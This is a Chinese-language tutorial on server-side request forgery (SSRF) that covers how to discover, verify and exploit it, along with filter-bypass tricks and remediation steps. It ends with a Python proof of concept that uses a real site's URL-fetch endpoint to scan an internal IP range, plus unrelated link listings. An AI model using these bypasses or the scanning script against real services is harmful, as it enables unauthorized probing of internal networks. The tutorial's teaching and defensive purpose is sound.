SSRF

SSRF(服务请求伪造)是一种由攻击者构造形成由服务器端发起请求的一个安全漏洞,它将一个可以发起网络请求
的服务当作跳板来攻击其他服务器,SSRF的攻击目标一般是内网。
当服务器提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片,下
载等),但是没有对目标地址做过滤与限制时就会出现SSRF。

 SSRF的危害

可以扫描内部网络
可以构造数据攻击内部主机

 漏洞挖掘

其实只要能对外发起网络请求就有可能存在SSRF漏洞
1.从WEB功能上寻找
  通过URL分享内容
  文本处理、编码处理、转码等服务
  在线翻译
  通过URL地址加载与下载图片
  图片、文章的收藏
  设置邮件接收服务器
2.从URL关键字寻找
  share、wap、url、link、src、source、target、u、3g、display、sourceURL、domain...

3.burpsuite插件自动化检测ssrf漏洞

 漏洞验证

http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png

1.右键在新窗口中打开图片,若浏览器上URL地址为http://www.baidu.com/img/bd_logo1.png
  说明不存在SSRF漏洞。
2.firebug看网络连接信息,若没有http://www.baidu.com/img/bd_logo1.png这个图片请求。
  则证明图片是豆瓣服务器端发起的请求,则可能存在SSRF漏洞。

找存在HTTP服务的内网地址:  

  1.从漏洞平台中的历史漏洞寻找泄露的存在web应用内网地址。

  2.通过二级域名暴力猜测工具模糊猜测内网地址。

 漏洞利用放式

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
2.攻击运行在内网或本地的应用程序(比如溢出)。
3.对内网web应用进行指纹识别,通过访问默认文件实现。
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struct2,sqli等)
5.利用file协议读取本地文件等。

绕过过滤

有时漏洞利用时会遇到IP限制,可用如下方法绕过:

*使用@:http://A.com@10.10.10.10 = 10.10.10.10

*IP地址转换成十进制、八进制:127.0.0.1 = 2130706433

*使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx

*端口绕过:IP后面加一个端口

*xip.io:10.0.0.1.xip.io = 10.0.0.1

  www.10.0.0.1.xip.io = 10.0.0.1

  mysite.10.0.0.1.xip.io = 10.0.0.1

  foo.bar.10.0.0.1.xip.io = 10.0.0.1

*通过js跳转

 通用的SSRF实例

*weblogin配置不当,天生ssrf漏洞
*discuz x2.5/x3.0/x3.1/x3.2 ssrf漏洞
*CVE-2016-1897/8 - FFMpeg
*CVE-2016-3718 - ImageMagick

 修复方案

1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
  如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080,8090
4.黑名单内网IP,避免应用被用来获取内网数据,攻击内网。
5.禁用不需要的协议,仅仅允许http和https请求。

 附POC

#!/usr/bin/env python
# -*- coding: utf-8 -*- import re
import requests
from IPy import IP
import Queue
import threading def get_url_queue():
url = "http://www.sogou.com/reventondc/external?key=&objid=&type=2&charset=utf-8&url=http://"
urllist = Queue.Queue()
ip_list = IP('10.146.20.0/24')
port_list = ['80','8000','8080']
for ip_add in ip_list:
ip_add = str(ip_add)
for port in port_list:
url_t = url + ip_add + ':' + port
urllist.put(url_t)
return urllist def get_title(urllist):
while not urllist.empty():
url = urllist.get()
html = requests.get(url).text
patt = r'<title>(.*?)</title>'
m = re.search(patt,html)
if m:
title = m.group(1)
print "%s\t%s" % (url,title) urllist = get_url_queue()
print "start get title..."
for x in xrange(1,30):
t = threading.Thread(target=get_title,args=(urllist,))
t.start()

4_SSRF的更多相关文章

随机推荐

  1. Qt中使用CEF(Windows下)

    最近项目中要在Qt中使用CEF(Chromium Embedded Framework),在这里总结下其中的几个要点. 下载合适的CEF版本 关于CEF的简介我们这里就不做介绍了,下载CEF可以有2种 ...

  2. css 子div自适应父div高度

    <div class="out"> <div class="a"></div> <div class="b& ...

  3. docker~写个容器启动的bash脚本

    回到目录 bash脚本在linux里就相当于win里的bat和cmd及ps脚本,可以把一般指令组织在一起,统一去执行,比如我有一些docker容器需要统一去启动,这时,你可以把它们写成一个bash脚本 ...

  4. 玩玩微信公众号Java版之四:自定义公众号菜单

    序: 微信公众号基本的菜单很难满足个性化及多功能的实现,那么微信能否实现自定菜单呢,具体的功能又如何去实现么?下面就来学习一下微信自定义公众号菜单吧! 自定义菜单接口可实现多种类型按钮,如下: 1.c ...

  5. iptables规则进阶

    iptables规则进阶 1.实验环境搭建: 在进行试验之前,先要进行实验环境的搭建,要求如下: 1.对于三台主机,分别设置IP地址 2.设置10.0.1.22为内网主机 3.设置中间主机有两个网卡, ...

  6. Jmeter之处理session、cookie以及如何做关联

    具体描述问题之前,我们先了解下session.cookie session.cookie的概念 1.session是放在服务器上的,过期与否取决于服务期的设定,cookie是存在客户端的,过去与否可以 ...

  7. 在Unity3D项目中接入ShareSDK实现安卓平台微信分享功能(可使用ShareSDK默认UI或自定义UI)

    最近公司的大厅要重做,我协助主程一起制作新大厅和新框架,前面制作的编辑器也派上了用场.等全部功能做完后我会再写一个复盘,这两天主程在忙于写热更新的功能,所以把接入分享SDK功能的任务交给了我,Shar ...

  8. 怎么去掉javascript 的Array的重复项

    //完美去除法: var arr=[1,3,2,2,11,4]; var arr1=[]; var arr2=arr.sort(function(a,b){ return a-b; }); //把数组 ...

  9. centos6.8 静默安装 oracle 11.2.0.4

    安装环境及系统要求    (下文具体参数值与路径根据自己的环境调整)操作系统:Red Hat Enterprise Linux 6 (x86) 或者CentOS 6 (x64) 数据库:Oracle ...

  10. SpringBoot上传任意文件功能的实现

    一.pom文件依赖的添加 <dependencies> <dependency> <groupId>org.springframework.boot</gro ...